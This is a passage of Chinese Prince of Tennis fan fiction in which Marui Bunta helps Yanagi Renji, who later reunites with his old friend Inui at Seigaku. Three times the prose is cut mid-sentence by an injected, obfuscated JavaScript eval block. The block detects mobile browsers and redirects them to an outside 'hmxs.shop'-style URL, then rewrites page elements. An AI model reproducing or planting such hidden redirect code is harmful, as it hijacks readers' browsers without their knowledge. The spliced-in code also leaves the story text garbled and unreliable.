他如此想着,若有所思地放低眼睫。玻璃瓶中的橘子味汽水被夕色穿透,无声而汹涌地冒着碳酸气泡。 一切落在丸井文太的瞳孔深处的样子,就仿佛神奈川此刻揉碎了落日辉光的大海。 长堤上的二人悠闲地并肩远去,长堤下的一人沉静地观海听涛,雪白浪花随着涨落的海潮诞生和消亡,夕阳无比绚烂,橘色光线在蔚蓝海水里不断反射与闪烁,将波光粼粼的海面晕染成浪漫又梦幻的紫色。 随后一段时间在相对平缓的日常中度过,上课学习和部活的日训,加上最近要为网球部在海原祭的节目做排练,丸井文太的每天都非常充实。 不过,居住在滨海地区的人总有这样的经验:规律生活的意外常与天象的变化密不可分,也就是所谓夏秋季节的“名产”。 近日气象厅通报西太平洋有台风生成,预计在千叶登陆。因为这个缘故,临近的东京、神奈川、埼玉等关东地区的都县也将有大风和暴雨天气。 立海网球部每隔一周都会去外校打练习赛,这周末因为暴雨和那边学校没有室内网球场的原因,决定推迟活动,等天气转好再去。丸井文太提前一晚从真田的邮件中得到消息,当即“啪”的一声合上手机翻盖,一个翻身弹射坐起,先把摆在床头的闹钟关掉,然后愉快地决定今夜定要把跟同学借来的游戏盘打到全通关。 他到第二天睡到很晚才醒,在床上抱着被子睁开眼睛,朦胧看见微薄的光线透过窗帘,外面啪嗒啪嗒地传来雨打窗棂的声音,房间里静得像是仍在夜晚,实在是一个让人很难分辨早晚的状态。 “文酱,你醒来了?今天爸爸又去加班了哦。” 楼下看电视的妈妈看见他揉着眼睛慢吞吞下楼的身影,起身给他拿了一瓶部里嘱咐每天都要喝的草莓牛奶。 文太接过牛奶后乖巧地轻“嗯”了一声,然后过了半晌才反应过来:“欸?今天也是?不是台风天吗?” “是这样呢,但是爸爸那边最近的订单好像是来自中国的企业,所以工作节奏要比面对欧洲客户要紧张呢。” “哈,那真够呛……” 两个学前年龄的弟弟趴在桌前,正聚精会神地用油画棒画着奥特曼。丸井文太凑过去笑眯眯地夸了他们两句,发现弟弟们都正在兴头,无暇分心回应自己,便耸了下肩膀,转身回房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695278|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间去写作业。 台风似乎在半夜就已经登陆,午后风雨便已趋近停歇。因为还不适合约人出去游玩,丸井文太懒洋洋地把老师布置的题目做完,吃过午饭后又看漫画看到睡着,醒来发现外面云层浓郁,天色暗得出奇,在起身走去窗前的路上,一阵携有浓浓水汽的大风扑面袭来,他下意识地抬手挡了挡,额发被吹得飘飞起来,随后便看见骤雨从天幕垂落,世界仅瞬息就被雨声吞没。 “啊呀,好急的雨。” 文太赶紧去关窗,手指刚扶上窗边,忽然一愣,身体微微前倾,对雨中小跑经过的熟悉身影喊道:“喂——这不是柳吗?” 柳莲二闻声抬头,匆匆赶路的脚步缓慢下来,磅礴雨点顷刻将他的头发和脸庞都打湿得彻底,丸井文太见状,赶紧招手让他来自己家躲雨。 浴室里湿雾弥漫。 流水哗哗地旋进下水口,柳莲二正在洗头发,香波泡沫带有一丝甜香的青苹果味,这让习惯木质香氛的他不太习惯,正这样想着,浴室外间传来丸井文太的声音。 “柳,你的湿衣服我拿去给妈妈洗了,等下烘干就给你。这里放我的衣服给你换,对了内衣都是新买的所以不用介意哦。” 他道了一声谢,接着就听见丸井文太走远的动静,数分钟后他肩上搭着条毛巾走到对方房间,丸井文太正在用吹风机一页页地吹之前他雨中抱在怀里的书,因为纸页湿了之后变成波浪状,对方露出有些苦恼的表情。 柳莲二连忙说:“没关系,我回去用重物压几天就好了。” “也只能这样了。”文太遗憾地叹了口气,放下吹风机后把桌上的小碟子往柳的方向推了推,里面是樱粉色和淡绿色的曲奇,外观用模具做成了花朵和绿叶的形状,显得精致又可爱,感觉是女生会喜欢的样子。 “吃吧,你应该不嗜甜吧?这都是低糖的款式。口渴的话还有乌龙茶。” “难得丸井你会做不甜的点心啊。”和既有印象不太相符呢。 柳在他的小桌一侧坐下,伸手拈了一片绿叶曲奇送入口中。果然甜味很浅淡,取而代之的是浓郁的抹茶香气充盈口腔。曲奇似乎刚从烤箱里拿出不久,微热的口感极佳,酥脆程度也恰到好处,真是精妙的手艺。 “嗯……因为不是做给我自己吃的。”文太也拿了一片樱花曲奇放进嘴里嚼嚼,一边吃一边留意到柳将目光留在自己脸上,对方状似不动声色,却无声透出一种“这里有新情报”的探究意味,他失笑着摆了摆手,“没什么特别的啦,就是我班里有些女生不太吃很甜的点心,但她们平时会给我很多好吃的,所以我就想做点她们能接受的零食当回礼。” 不过因为这不是他最中意的甜度吧,丸井文太陪吃了两个就停了下来,两手捧着脸颊,注意力放在柳莲二的身上:“倒是你,这种天气还出门做什么呢?” “今天有我喜欢的作家的新文集发售……” “多等一天也不会卖断货啦!” 15.File 14 避雨 “等雨势小一些了你再拿把伞回去吧。”丸井文太对柳莲二说着,然后去书架那边翻找能打发时间的电影,不过还没等打开电视,他的两个弟弟就先后跑来房间,抱怨文太今天还没跟他们玩。 真没办法啊。丸井文太娴熟地揉了揉小家伙柔软的头发,转头对柳说:“抱歉,我稍微陪他们一会儿,柳你自便就可以了。” 真出人意料,原来在学校总表现得活泼任性的丸井,回家后担任的是被弟弟们撒娇的兄长角色。 柳莲二看着文太的弟弟们就像是小尾巴一样跟在他身后,对方显然对此情形驾轻就熟,哄着他们一起帮自己做水果挞,然后一会儿指着这个水果让弟弟帮忙拿给他,一会儿指着菜谱让另一个弟弟帮忙翻页,一旦弟弟们达成他的要求,他就用愉快声调给出极富情绪价值的回馈,把两个小家伙指挥得团团转还乐此不疲,没过一会儿,一盘色香味俱全的漂亮甜点就在丸井三兄弟的齐心协力下新鲜出炉。 他好像知道丸井文太平时总把杰克·桑原使唤得毫无怨言的天赋出自何处了。 等回房间后,柳莲二好奇地问:“丸井,你和桑原是小学时候就认识了吗?” “差不多吧,他是中途转学过来的,差不多小三那时候。” “然后一直关系很好?” 嗯?文太歪了歪头,好像有些不解柳为什么这样问,“当然一直关系很好啊,我可是杰克最好的朋友。” 真是得天独厚的自信。柳笑了笑:“正常来说,应该是用‘杰克是你最好的朋友’这种说法吧?不怕他知道了会伤心吗?” “我又没说不喜欢他,不会让他伤心啦。”文太轻轻说,“而且我跟杰克都很熟了,这样说是因为信赖。那家伙很可靠的,没有说一定需要我达成什么条件才将我视为朋友,很多事也一直支持我……从来不会跟我吵架。” 他其实是想说他也很喜欢和杰克在一起的,但心里又觉得男生间这样讲太肉麻了,有点害羞,表达起来便有些拐弯抹角。 “但我看平时都是丸井你仗着桑原的纵容在肆意妄为,要适可而止啊。” 难得柳莲二这么性情温厚的人都出言调侃,可见是以往见多了丸井文太得寸进尺的戏码。 “咳、这点就不要深究了!”文太干咳一声,心虚得脸颊微红,声音都透出慌张,为了避免这个让他尴尬的对话继续下去,他连忙转移话题,“柳你呢?应该也有特别要好的朋友吧,不在网球部里?依你的性格,应该也是对朋友非常温柔的类型吧。” 他觉得柳和杰克有些方面很像,是特别会为旁人着想的类型。 丸井文太没想到,听到他问题的柳莲二竟破天荒地沉默了一会儿。 窗户外面尽是纷乱的雨声,雨点击打窗棂的声音杂乱无章,狂风把树扯得呼呼作响,树叶纷飞的黑影接连不绝地投在他们身后的墙壁上,称不上有多吵闹,却无端地能扰人心神。 “我也不确定算不算有……”柳抿了下唇,犹豫说,“但对我来说,他是以前最要好的朋友。” “欸——”文太敏锐地嗅到一丝八卦的气息,脚下踢了一下自己所坐的转椅,整个人转了个方向,兴致勃勃看向柳的方向,“是谁是谁?我认识吗?” “你不认识,是我搬到神奈川以前认识的人,目前在东京读书。” “那为什么说不确定呢?对方跟你生疏了?因为离得远?” “与其说是生疏,不如说我搬家后就再没有来往了。” “咦?!绝交了吗?”丸井文太震惊地瞪圆双眼。 “也没有到那种程度……”柳莲二淡淡笑了下,轻描淡写地说,“是我放弃了那边,选择了在这边重新开始而已。” 这边,是指搬家后在神奈川的生活吗? 文太长长地“欸”了一声,双手环在转椅的靠背,把脸蛋软绵绵地靠在上面,紫色眼睛若有所思地望向柳莲二。 被他所注视的人微微垂着脸庞,因为对方总是垂着眼睫,那张清秀俊气的脸孔显得十分沉静,整齐的棕色刘海轻柔地拂过眉心,光线穿透睫羽,扫下弧形的、浅灰色的漂亮剪影。 “那、我算是你在这边的朋友吗?”文太似乎完全没意识到这问题其实相当趁人之危,用一种过分率直、百无禁忌的纯真语气问。 他的位置正好侧对窗户,朦胧的光色将半边脸庞照亮,细密的睫毛显得十分纤长,眼神坦荡纯净,友好的微笑中带着真诚的期盼,又掺着一丝有别于可爱口吻的温柔。 柳莲二被他问得有几分猝不及防,看向直直望着自己的丸井文太,惊讶神色浮现于眉端。 但他回答得非常认真:“是。” “所以我可以直接叫你莲二吗?” “当然。” 丸井文太便愉快地嘿嘿一笑,手指慢慢地挠了挠脸颊:“我觉得很开心。” 他是一个人缘很好的人,纵然白天是身在不同的班级,柳莲二也能从班里很多女生谈论的话题中意识到丸井文太有多高的人气,恐怕同龄人中唯有幸村精市才能超越,然而丸井文太性格活泼亲昵,能在无形中消弭距离感,这又进一步让靠近他的人变得越来越多。 明明是这样一个习惯于被人喜爱的人,却仍会为增加一个朋友的承认而发自内心地高兴起来。 这些不着边际的念头转过意识层的时候,柳莲二看见丸井文太将视线投向地面,眼睫低垂了一些,好似能读见他想法般,语调轻柔地提出一个问题: “莲二你和我成为朋友以后,就可以放下对东京那个旧友的感情了吗?” 柳莲二怔了一瞬。 “虽然我自己这么说有点不好意思啦……”丸井文太伸手蹭了蹭鼻尖,“刚才不是说我和杰克是小三那年才相遇吗?其实他从巴西转学过来的一开始,只有我找他玩,所以我才大言不惭说我是他最好的朋友。但在那时候,也有别的朋友悄悄让我跟杰克保持距离,说他混血儿的外表看起来很凶之类的……” 柳皱起眉头,语气难得透出严厉:“背后议论是小人行径。” “哈哈,我知道,但我也清楚那些家伙平时没什么坏心思的,就算有的话,可能……是担心更多。”丸井文太笑了笑,比起柳莲二清风峻节的君子秉性,他的性情更加随和,用一种宽宏大量的洒脱语调说,“他们只是因为担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704848|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我被杰克抢走了而已,所以才想让我主动疏远杰克。他们的失误在于误解了我,我和杰克玩,也会和他们玩,不会因为和杰克成为朋友就跟他们不再是朋友的。当然说人坏话的做法也不对,后来让他们跟杰克道歉了。可是,仅论心意的话,是任何人都没有错处的。” 柳莲二多么才思敏捷,很快就明白了丸井文太提起这桩旧事的深意。 是想委婉地劝解他吧,因为朋友从来不是非此即彼的关系。 柳莲二想说自己与旧友间难以释怀的纠葛不在这里,有愧的是不告而别的自己。 但除此之外呢? 柳莲二蓦地意识到,他和丸井文太的思维习惯太过不同,其实从未考虑过该怎么去亲手解开这个结,所思所想的一直是原地踏步的推衍和预测。 但他不去面对,就永远走不出去。 丸井文太始终注视着他,每一瞬和每一丝细微的神情变化都没有错过。 “我觉得自己对别人的每一份感情都是独一无二的,不会因为遇到了其他人就被转移出去,与新的朋友自会创造全新的情谊。朋友之间偶尔会出现矛盾,这种时候我作为双方共同的友人就只好尽量去化解……当然,我是很心胸宽广的,不会给莲二你造成这种烦恼哦。” 他趴在椅子上,双腿自由地晃来晃去,颊边的红发也轻轻飘动,声音始终很是柔和。 “既然你还在意与以前朋友的交情,不管搬家前有什么误会都要试试解开啊,直接断绝来往也太可惜了。对了,先前新人战的时候你是不是也没遇见那个人?” 文太见柳没有否认,露出了然的表情:“神奈川和东京不远,想见就去见吧。躲又能躲到什么时候为止呢,难道一生不见都不会后悔吗?” 想见就去见吧。 多么简单一句话,里面又蕴含了很多很多能让他与过去和解的勇气。 柳莲二原以为十分困难的,只能寄托于微乎其微的渺茫概率,可能要未来某一天的比赛中,或街头偶遇才能达成的念想,好像忽然凭依在这羽毛一般轻飘飘落下来的一句话中,把挽回遗憾的机会重新放进他的手心,只待他主动去抓住。 他静默须臾,终于忍不住笑了笑,深深感慨: 丸井文太不愧是立海最乐观的机会主义者,永远积极向上,心怀信心和勇气。 临近傍晚时分,外面下了许久的雨终于有了停歇迹象。柳莲二换回自己烘干了的衣服,婉拒了丸井妈妈要留他共进晚餐的邀请,在门前深深鞠了一躬。 “多谢招待。” 残雨从门檐的上方滴落,天边的浓云逐渐散去,他的心情也如同雨后清新起来的空气,变得松快很多。 “那么,明天学校见,文太。” 丸井文太原本双手搭在脑后,悠哉地吹着泡泡,听见柳莲二的告别,他歪过头,俏皮地眨了下眼睛:“喔!明天见!对了,如果你最近想去东京玩,我可以陪你一起哦,报酬只需要1个草莓巴菲!” 对方此言中蕴藏的体贴心意不假,但果然本性还是贪吃,完全符合预测。 柳轻轻笑了声:“很划算,谢谢,我会考虑的。” 16.File 15 青学 台风过境后,立海网球部一连数日都笼罩在一片愁云惨淡中,所有人都绷紧了神经完成训练。正选们个个敛容屏气,在场上全力以赴,更别提一贯不苟言笑的副部长,此刻活像斯巴达教官附身,指导部员时标准严苛至极,力求每个动作都完美无缺。 连一年级菜鸟们经过场边时都恨不得踮起脚尖,恨不得能披上救世主的隐身衣。 至于其原因—— 有人偷偷瞄向汇聚了网球部颜值巅峰的球场一角。 “节哀顺变,幸村。我也很遗憾你天台上最中意的那株秋牡丹没能撑过这次暴风雨,但我相信鲜花的在天之灵一定会护佑你……” 仁王雅治悲伤沉痛的话语才说一半,就被丸井文太一脚狠狠踩中脚尖,瞪过来的眼神好像在责备他不要哪壶不开提哪壶。他尴尬地咳了一声,暗中回以一记以牙还牙的肘击,然后趁丸井文太呲牙咧嘴之际抬起手臂,“啪”的一声打开一柄折扇,为自家亲爱的部长送去贴心的凉风。 幸村精市抬手扶额,眼帘微合,眉头忧郁地蹙起:“谢谢你,仁王。但我现在可能还有点不能接受,心里觉得这个现实有些寒冷……” 反应过人的文太瞬间以手刀劈落仁王的折扇! “没事的,幸村君!”他鬓边带有一点慌张的汗迹,眼睫抬起,认真说,“我们再去买种子吧,这次种一大片!来年一定能成为屋顶庭园里最漂亮的花圃的,我保证。” 幸村露出惊讶神情。 “说得也是呢,谢谢你,丸井。”他笑着说。 丸井文太当即意识到网球部终于拨云见日,心中舒了一口气,转头道:“杰克,你应该也听到了吧?今天部活后要帮幸村君一起种花哦!” “咦,是我来弄吗?”不远处暗中关注的杰克呛了一下,错愕地扭过头来。 他们立海网球部一贯奉行说到做到的铁则,执行力和效率都奇高,例如大家部活后齐心修整的花圃,也包括上一周因风雨而推迟的练习赛。 每月两次的远征练习赛——这是立海网球部成立以来的传统,也是他们称霸关东14年不败的基石之一。基本来说,只要是从神奈川出发车程三小时以内的学校,都能够被列入立海的练习赛候选清单中。提前与有概率与他们在关东大赛中狭路相逢的对手作战,然后藉此取得应对的经验,立海的常胜之名正是从这些点滴优势的积累中变得无坚不摧。 这次练习赛的对手是位于东京都青春台的柿之木中学,据柳莲二的介绍是该地区的第二种子学校,历年都能在东京都大赛取得名次。鉴于关东大赛的16个参赛名额中有5席都属于东京,所以该校也在他定期考察的清单中。 “第二种子?”练习赛后,丸井文太神情漫不经心地嚼着口香糖,“为什么我们不找第一种子的学校打?” 不怪他有此一问,立海非校队的部员通常是不参与外战的,部内的竞争就激烈得让人喘不上气来,所以待丸井文太从后备队伍跻身正选,才深刻体会到伞外面根本没有下雨,其他学校实力实在良莠不齐,感觉之所以能取得大赛高位名次,都要归因于抽签的好手气。 “我也正有此意。”柳莲二答道,他转头向幸村和真田报备过,随后把手上的资料本一合,轻轻在文太头上一压,“要去看看吗?第一种子的学校。根据我的调查,附近有一家克罗埃西亚风的咖啡店,也有卖你喜欢的芭菲。” 用点心邀请丸井文太的成功率是百分百,他说这句话时压根没考虑过会得到别的回答,果不其然,红发男孩闻言情绪一振,眼睛弯弯,愉快扬起一个能看见虎牙的灿烂笑容。 “当然去!” 青春台地区的第一种子学校,全名是私立青春学园国中部,该校与神奈川的名门立海相同,拥有着从国中到大学的一贯制教育体系,其特色是地处于高楼林立、现代化程度极高的国际大都市的中心,却拥有着四季常青、绿意盎然的秀丽园区。每逢晴天,热烈的阳光透过古树枝桠的空隙投下游动的光影,就像时光流淌进了一部美好至极的青春剧。 青学作为东京的网球强豪校,网球部有着数十年的创办历史,部员整体实力一直不弱,据说在早年还培养出了世界级的职业选手。他们作为关东大赛的常客,算是立海长期关注的对手之一。 从柿木中出发,通过巴士就能直达青学,顺路去一趟并不麻烦。丸井文太离队前向杰克摆了摆手作为告别,转身便与柳莲二一同走向车站。 “所以,你的旧友是青学网球部的?” 文太一手攥着球包的肩带,视线向上,浅紫瞳仁里倒映着天空飘荡的浮云。 “什么?” “别装傻,你答应了要请我吃芭菲的,不许食言哦。” 装傻是比不上你在行。柳莲二这样想,又觉得和丸井文太这种情商过人的机灵鬼打交道实在很有乐趣,因而微笑着故意反问:“提议跟青学打练习赛的不是文太你吗?” “笨蛋,你应允得太爽快了,我才不相信你事先没有考虑过找青学打练习赛。” 丸井文太一边说一边吹了个泡泡出来,声音里也掺着一丝心照不宣的笑意。 “既然有意,却没有去做,说明原先存在其他让你顾虑的因素,使你放弃了这个打算,但现在那个因素消失了,所以你改变了主意。别否认,你不可能对青学一点兴趣也没有,不要忘了今天可是星期日,不是所有学校都像我们立海一样在周末有定期出勤,我能肯定作为史上无敌资料男的你必然提前对青学的日程做过相当详尽的调查。除此之外还有一点,如果你只是因为我的提议才决定向青学邀请练习赛,最稳妥的做法应该是先电话与那边沟通,找社团的指导老师或者网球部部长之类的人确认意向,而不是冒着跑空的风险专程过去一趟——” 同一时间在返回神奈川的电车上,相同的推论也从仁王雅治的口中娓娓道出。 他手指卷着耳后的银白发尾,冰绿色的眸中似有精光闪烁,仁王歪着头,微笑着与幸村精市告状道:“我们的参谋与丸井那家伙一定有什么不可告人的秘密瞒着我们。” “咦——?!”杰克大为震撼,担忧问,“文太吗?发生了什么事?” “有什么大惊小怪的。”闭目养神的真田动了动眉毛,冷静地说,“亲自拜访才能展现诚意,这是我们立海的礼仪。” “是吗?说不定是他们在青学有认识的朋友吧。”幸村精市从容接话。 仁王挑了下眉梢:“丸井吗?” “应该是柳,他以前在东京读小学。” “喔——?”仁王雅治的眼神飘到隔壁竖起耳朵旁听的真田弦一郎身上,心说那张看起来很在意又故意表现得不在意的脸真有趣,唇边的小痣微动,他勾起一个狡黠的笑,“那幸村,你说他认识的人我们会不会也很熟悉?比如说青学的手冢。” 幸村的视线也沿着仁王的目光扫过真田,他抬起手,用曲起的食指抵住下唇,忍俊不禁地故意道:“谁知道?说不定是呢。” 巴士抵达青学的时间已是下午,柳莲二按了铃,丸井文太跟在他身后一同下了车,马上映入眼帘的便是寂静的校园大门和近代平成风格的四层校舍。因为是在周末,附近没有看到什么学生。 “走这里。” 柳莲二果然对青学做过相当充分的事前调查,在丸井文太左右观察环境时,他已走进校门,指向校内其中一条小路。 文太连忙“哦哦”两声,手指抓紧差点从肩膀滑下来的球包,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708612|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑着跟到柳的身后。 网球部的位置很好找,就位于校舍的后方,绿色的铁丝网围住了场地,出乎丸井文太的预料,球场里的热闹程度与校园大相径庭,每个场地都有选手在一众部员的旁观中进行比赛,而且铁丝网的入口处还摆了一张小桌,有个人在白板上记录各区的比分。 丸井文太视力极佳,一眼扫过那类似小组循环赛模式的赛程,笑着问:“他们这是在做什么?全员摸底的实力测验?这是要打出个排名吗?” 柳莲二回答:“校内排名战,是青学的名产。他们二年级及以上的部员每月都必须参与这种分组排名战,每组战绩最优的两人成为部内正选。” “哇——听起来好刺激。”文太眨了眨眼睛,每月的排名赛啊,看来这个周日举办的时间也被柳调查得一清二楚,所以才挑中这个日子过来…… 正这样想着,他忽然脑中灵光一闪,露出一个促狭的表情:“那他们如果把像幸村君、真田和你这样的三名高手塞进同一个组里,岂不是有个人就危险了?” 柳莲二露出似笑非笑的表情:“他们部长肯定也会考虑到这点,只要事先把原正选当作种子选手均分到各组就行了。” “啊这样啊。”唯恐天下不乱的家伙失望地“切”了一声,把双手搭在脑后,眼睫压低,悠闲地旁观起比赛。 青学的排名赛分为4组,每组6人,所以是从总共24名部员中甄选8名正选。如果再算上一年级的部员,网球部规模大致在三十余人。 总人数上比立海少了约四成,不过从全体在校学生的入部比例来看,青学的参与率高于立海。 “青学的网球部入部率2.29%,立海是1.94%。”柳莲二提供了细致的数据,身为参谋,他的语气十分严峻。 “别用我们好像输了的语气嘛。”丸井文太听得汗颜,试图安慰,“我们部历年申请加入的人也很多啊,只是退部率一直降不下来……这也是没办法的事。” 立海网球部的日训一贯是以夺冠为目标来制定计划,对于将网球当作兴趣的部分部员来说,训练量算是非常苛刻的,每年都有不少人因此中途退出。 “嗯,顺带一提入部率最高的学校是冰帝,足有13.01%。” “呜哇,居然那么高?!”文太听得大为震惊。他都有点好奇冰帝网球部有多吸引人了,难道能每天都发好吃的吗? 他会有此猜想,主要是因为入部率往往能够很大程度影响学校拨款的活动经费,通常体育系社团位于第一优先梯队,像是青学、立海这种规模的,已经能算是富裕的大社团,再追加诸如关东大赛、全国大赛的优越战绩,还能够得到校方更多的支持。这样使学生在资源丰厚和高手云集的环境中成长,每一年都能有大量优秀选手涌现,由此缔造出当地有名的强校。 据文太来看,青学不愧是该地区第一种子学校,正选队员在排名赛中的表现远胜于他们上午的练习赛对手柿木中。 要从一众比赛选手中分辨出他们的正选成员是很容易的,只要排除大多数穿着校供款体操服的部员,挑出穿着特殊运动服的个别人就足够。 不过他可没忘了柳莲二来青学的主要目的,对方以前的朋友……应该是跟他是同龄人吧,还不被允许参与排名赛的一年级。 会是谁呢?丸井文太双手插兜,吹出一个泡泡,目光假作不经意地扫过附近铁丝网后观战的一众人物。 孰不知他和柳莲二那身明黄色的立海队服太过显眼,而他鲜亮艳丽的红发紫眸更是显眼中的显眼,当丸井文太视线望去的时候,青学那边也有个亚麻发色的一年生敏锐地转过脸来,迎着他惊讶又好奇的目光,对方先是一怔,随后露出一个友善的柔和笑容。 17.File 16 旧友 青学是网球强校,在历年春学期的赛季,都有外校学生在附近侦察或参观,秋学期因为没有大规模的团体赛事,这类情况就大幅减少。 尽管丸井文太和柳莲二只是低调地驻足于场外观赛,偶尔轻声交谈几句,他们还是很快吸引了旁人的注意,一名身着正选衬衫的高年级生走近他们。 “喂,你们!”那人吆喝了一声,待二人转头将视线落到自己身上,他才略显戒备地问道,“你们外校的学生来我们青学做什么?” 大概是被当作间谍了吧,对方的言辞和语气都不客气,但身为低年级的后辈,丸井文太和柳莲二都不会轻易与前辈产生争执。 社交辞令就交给可靠的参谋吧。 文太不动声色地扫去一个眼神,同时也见柳的面上扬起一个无懈可击的立海式微笑,足够体现出教养得体,又不失身为名门学子的自负与矜持,彬彬有礼地说道:“学长你好,我是立海大附属中学的柳,今日冒昧拜访是为了向贵校征询联办练习赛的意向,能否烦请学长为我们引荐贵部的大和部长或者指导老师?” 兴许是没料到得到如此正式的回复,那位高年级生愣了一下。而且还是立海啊,今年全国冠军的邀请,着实是个难得的机会。 “哦……”他不善的语气像是被冷水浇熄了似的渐渐消弭,随后有些赧然地挠了挠头,“可以是可以,但是大和他手臂的伤好像还没好……” “学长!” 一声略显急促的低喝打断了那人的声音,丸井文太的目光落在匆匆跑来的茶发男孩身上,对方先用不赞成的眼神望了他学长一眼,随后转过头来,看向柳和文太二人。 “你们好,我是青学一年级的手冢。很感谢二位代表立海的拜访,不巧我们部长有私事今天不在,我带你们去见网球部的指导龙崎老师吧。” 这就是那个少年网球界中很有名的手冢国光啊…… 眼前的人身量修长纤细,戴着与他们部的柳生相似款式的精英风无框眼镜,镜片不厚,一双丹凤眼清冷而标致。从气质、谈吐和举止给人的第一印象来看,稳重得不像是同龄人。 要是没有那位学长的粗心爆料,对方这番回答也可以算是滴水不漏了。 丸井文太默默心想,瞄了同样面上不动声色的柳莲二一眼。 在外校对手面前泄露出自家部长伤情,这已经不能算是搞砸级别的闯祸了吧……不过,文太随意地想,凭柳那孤高的自尊心,恐怕也不屑于利用这种情报取胜。 随后他们跟着手冢见到了青学的指导老师,对方对柳莲二的来意感到惊讶,定睛看向他们,脸上露出一丝困惑:“你俩才是一年级的吧……是代表网球部过来的吗?” 柳莲二笑起来:“是的,这方面部长幸村一向是交予我全权负责。关于比赛也不用担心,虽然我们现在大部分正选成员是一年级,但实力都通过了内部选拔。” “看来你们很有野心啊,这么快就着手培养新主力了。”龙崎老师意味深长地说,如此下来,看来明年春天的立海又将以身经百战的姿态登上赛场,不愧是连续14年稳居关东最强宝座的名门。 与此相比,他们青学…… 龙崎老师下意识地扫过身边眼色平静的手冢,心里叹了口气。 说句实话,她也觉得和立海比赛的机会难得,但部长大和有伤在身,勉强进行激烈比赛,对青学而言也是弊大于利,至于其他人……龙崎老师扫了眼手上的比分表,根据今日校内排名战的情况来看,校队人选变化不大,基本都是三年生,二年级部员中没有实力特别亮眼的人物。 若要举行练习赛,面对身为全国冠军的立海,作为礼仪与敬意,青学势必拿出最强阵容作为对手。问题在于,他们三年级的正选很快就将毕业,现在与立海当前以一年级为核心的队伍进行比赛,说得不好听点,作用只有给对方充当磨刀石而已,对青学自身的益处非常有限。 虽然一年级中也有手冢和不二具备正选实力,但他们要到明年四月才能参与排名赛。要是没有正选的资格就派出去参加外战,终究名不正言不顺。 最终,龙崎老师略带歉意地回绝了柳莲二的提请。 “不好意思,我们有自己的训练日程,最近不合适安排练习赛。” 柳莲二面色不变,仍是温和地说:“没关系,我们以后还可以再约时间,也期待明年有机会与诸位在关东大赛上交手。” 他从得知青学部长受伤起,就对这个答复有所预料。可惜这次没机会让弦一郎如愿,柳莲二心想。 好在群马县的代表大口南中学已经答应了邀约,另外还有东京的山吹中学…… 未雨绸缪的参谋早已做好万全准备,绝不会让他立海的队友们闲得下来。 其实柳莲二自己也知晓,他来青学的目的绝非仅仅是为了一场练习赛。 “莲二。” “好久不见了,贞治。” 在与丸井文太走出校舍的路上,一名戴着黑框眼镜的刺猬头男孩站在小路尽头。对方道出柳莲二名字的声调状似平静,深处又仿佛说不清道不明地压着什么。 “是相隔2年3个月又16天。” “是相隔2年3个月又16天。”柳莲二与对方同时说出这句话,随后莞尔一笑,“我就知道你会这么说。” 他的声音很温柔,又带有一丝怅然的怀念。记忆好像随着这句话一同飞回了与旧友并肩作战、享受网球、彼此心意相通的快乐时光。原来时间走得那么快,他们已经从命运的别离走到了重逢的路口。 “和青学的练习赛没戏了,被你们老师拒绝了。”柳莲二忽然说。 对方闻言一怔,下意识道:“是吗?我很遗憾……” “但我还有很多错过的、有关你的数据还亟待补足……”柳莲二说,“我带了球拍,要和我打一场网球吗?” 他们私下的比赛不便于占用青学的场地,柳莲二便与丸井文太先去青春台车站不远处的一家咖啡店,等那位名为乾贞治的旧友在排名赛后整理好球场,再约见于附近一个街头球场。 呜哇,这家店真不错。 丸井文太惊喜地“哇”了一声,不愧是数据专家柳莲二推荐的店,这家以克罗地亚风格主打的咖啡店不仅在装潢上贯彻了色彩明亮大胆的地中海特色,窗边攀着生机盎然的绿植,菜单上的墨鱼墨汁烤章鱼、巧克力榛子蛋糕、樱桃酒糖果以及蜂蜜松饼等特色美食的图片更是让他垂涎欲滴,当然,还有超大分量的芭菲是绝不能放过的。 “我要这个、这个、这个还有这个——”文太一边点单一边遗憾,可惜一次性吃不完所有品类,看来以后还有必要再来几次。嗯,就这么决定了。 柳莲二就没有他那么旺盛的食欲了,只是简单地点了一杯店铺招牌的巴西咖啡。 这家咖啡店规模不大,里面是半开放式的厨房,年轻的店主姐姐接过菜单后就走到里面忙碌。丸井文太半边身子靠在吧台,单手托着侧脸,柔软艳丽的鲜红发丝从指间缝隙里溢了出来,他歪过头笑着调侃:“心事很重啊……如何?应该不会输吧。” 在立海,正选队员要是输给外校选手……那可是需要严肃复盘和反思的大事。 柳莲二执起咖啡杯笑了下,用笃定的语气说了句“当然”。 